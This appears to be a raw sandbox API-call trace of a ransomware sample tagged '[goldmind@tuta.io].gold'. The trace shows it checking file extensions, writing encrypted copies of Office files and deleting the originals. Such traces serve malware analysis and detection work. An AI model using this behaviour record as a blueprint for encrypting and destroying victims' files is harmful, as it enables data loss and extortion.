[0104.169] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0104.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.169] lstrlenW (lpString=".zip") returned 4 [0104.169] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0104.169] lstrlenW (lpString=".rar") returned 4 [0104.169] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0104.169] lstrlenW (lpString=".bz2") returned 4 [0104.169] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0104.169] lstrlenW (lpString=".7z") returned 3 [0104.169] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0104.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".dbf") returned 4 [0104.170] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".1cd") returned 4 [0104.170] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".jpg") returned 4 [0104.170] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".doc") returned 4 [0104.170] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0104.170] lstrlenW (lpString=".docx") returned 5 [0104.170] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0104.170] lstrlenW (lpString=".pdf") returned 4 [0104.170] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0104.170] lstrlenW (lpString=".xls") returned 4 [0104.170] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0104.170] lstrlenW (lpString=".xlsx") returned 5 [0104.170] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0104.170] lstrlenW (lpString=".ppt") returned 4 [0104.170] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".zip") returned 4 [0104.170] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0104.170] lstrlenW (lpString=".rar") returned 4 [0104.170] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0104.170] lstrlenW (lpString=".bz2") returned 4 [0104.170] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0104.170] lstrlenW (lpString=".7z") returned 3 [0104.170] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".dbf") returned 4 [0104.170] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".1cd") returned 4 [0104.170] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0104.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.170] lstrlenW (lpString=".jpg") returned 4 [0104.170] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0104.170] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0104.170] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0104.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.171] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0104.171] CloseHandle (hObject=0x3c4) returned 1 [0104.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 0x20 [0104.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.172] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.172] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0104.173] GetLastError () returned 0x0 [0104.173] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0104.174] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0104.174] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.174] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0104.174] SetEndOfFile (hFile=0x38c) returned 1 [0104.175] CloseHandle (hObject=0x38c) returned 1 [0104.175] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.175] SetEndOfFile (hFile=0x3c4) returned 1 [0104.177] CloseHandle (hObject=0x3c4) returned 1 [0104.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 1 [0104.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.178] lstrlenW (lpString=".doc") returned 4 [0104.178] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0104.178] lstrlenW (lpString=".docx") returned 5 [0104.178] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0104.178] lstrlenW (lpString=".pdf") returned 4 [0104.178] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0104.178] lstrlenW (lpString=".xls") returned 4 [0104.178] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0104.178] lstrlenW (lpString=".xlsx") returned 5 [0104.178] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0104.178] lstrlenW (lpString=".ppt") returned 4 [0104.178] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0104.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.178] lstrlenW (lpString=".zip") returned 4 [0104.178] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0104.178] lstrlenW (lpString=".rar") returned 4 [0104.178] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0104.178] lstrlenW (lpString=".bz2") returned 4 [0104.178] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0104.178] lstrlenW (lpString=".7z") returned 3 [0104.178] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0104.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.178] lstrlenW (lpString=".dbf") returned 4 [0104.178] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0104.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.178] lstrlenW (lpString=".1cd") returned 4 [0104.178] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0104.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.178] lstrlenW (lpString=".jpg") returned 4 [0104.179] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0104.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.179] lstrlenW (lpString=".doc") returned 4 [0104.179] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0104.179] lstrlenW (lpString=".docx") returned 5 [0104.179] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0104.179] lstrlenW (lpString=".pdf") returned 4 [0104.179] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0104.179] lstrlenW (lpString=".xls") returned 4 [0104.179] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0104.179] lstrlenW (lpString=".xlsx") returned 5 [0104.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0104.179] lstrlenW (lpString=".ppt") returned 4 [0104.179] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0104.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.179] lstrlenW (lpString=".zip") returned 4 [0104.179] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0104.179] lstrlenW (lpString=".rar") returned 4 [0104.179] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0104.179] lstrlenW (lpString=".bz2") returned 4 [0104.179] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0104.179] lstrlenW (lpString=".7z") returned 3 [0104.179] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0104.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.179] lstrlenW (lpString=".dbf") returned 4 [0104.179] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0104.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.179] lstrlenW (lpString=".1cd") returned 4 [0104.179] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0104.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0104.179] lstrlenW (lpString=".jpg") returned 4 [0104.179] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0104.179] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0104.179] lstrlenW (lpString="ONINTL.DLL") returned 10 [0104.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.180] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3415952) returned 1 [0104.180] CloseHandle (hObject=0x3c4) returned 1 [0104.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll")) returned 0x20 [0104.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".doc") returned 4 [0104.181] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".docx") returned 5 [0104.181] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0104.181] lstrlenW (lpString=".pdf") returned 4 [0104.181] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".xls") returned 4 [0104.181] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".xlsx") returned 5 [0104.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0104.181] lstrlenW (lpString=".ppt") returned 4 [0104.181] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".zip") returned 4 [0104.181] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".rar") returned 4 [0104.181] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".bz2") returned 4 [0104.181] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0104.181] lstrlenW (lpString=".7z") returned 3 [0104.181] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".dbf") returned 4 [0104.181] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".1cd") returned 4 [0104.181] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".jpg") returned 4 [0104.181] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".doc") returned 4 [0104.181] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".docx") returned 5 [0104.181] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0104.181] lstrlenW (lpString=".pdf") returned 4 [0104.181] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".xls") returned 4 [0104.181] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString=".xlsx") returned 5 [0104.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0104.181] lstrlenW (lpString=".ppt") returned 4 [0104.181] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0104.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.181] lstrlenW (lpString=".zip") returned 4 [0104.182] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0104.182] lstrlenW (lpString=".rar") returned 4 [0104.182] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0104.182] lstrlenW (lpString=".bz2") returned 4 [0104.182] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0104.182] lstrlenW (lpString=".7z") returned 3 [0104.182] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.182] lstrlenW (lpString=".dbf") returned 4 [0104.182] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0104.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.182] lstrlenW (lpString=".1cd") returned 4 [0104.182] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0104.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0104.182] lstrlenW (lpString=".jpg") returned 4 [0104.182] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0104.182] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0104.182] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0104.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.183] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=15232) returned 1 [0104.183] CloseHandle (hObject=0x3c4) returned 1 [0104.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 0x20 [0104.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.183] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.183] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0104.205] GetLastError () returned 0x0 [0104.205] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x3b80, lpOverlapped=0x0) returned 1 [0104.236] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x3b90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3b90, lpOverlapped=0x0) returned 1 [0104.236] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.236] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0104.237] SetEndOfFile (hFile=0x39c) returned 1 [0104.237] CloseHandle (hObject=0x39c) returned 1 [0104.237] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.237] SetEndOfFile (hFile=0x3c4) returned 1 [0104.239] CloseHandle (hObject=0x3c4) returned 1 [0104.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 1 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString=".doc") returned 4 [0104.240] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".docx") returned 5 [0104.240] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.240] lstrlenW (lpString=".pdf") returned 4 [0104.240] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".xls") returned 4 [0104.240] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".xlsx") returned 5 [0104.240] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.240] lstrlenW (lpString=".ppt") returned 4 [0104.240] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString=".zip") returned 4 [0104.240] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".rar") returned 4 [0104.240] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".bz2") returned 4 [0104.240] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".7z") returned 3 [0104.240] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString=".dbf") returned 4 [0104.240] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString=".1cd") returned 4 [0104.240] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString=".jpg") returned 4 [0104.240] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.240] lstrlenW (lpString=".doc") returned 4 [0104.240] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.240] lstrlenW (lpString=".docx") returned 5 [0104.240] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.241] lstrlenW (lpString=".pdf") returned 4 [0104.241] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString=".xls") returned 4 [0104.241] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString=".xlsx") returned 5 [0104.241] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.241] lstrlenW (lpString=".ppt") returned 4 [0104.241] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.241] lstrlenW (lpString=".zip") returned 4 [0104.241] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString=".rar") returned 4 [0104.241] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString=".bz2") returned 4 [0104.241] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString=".7z") returned 3 [0104.241] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.241] lstrlenW (lpString=".dbf") returned 4 [0104.241] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0104.241] lstrlenW (lpString=".1cd") returned 4 [0104.241] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.241] lstrlenW 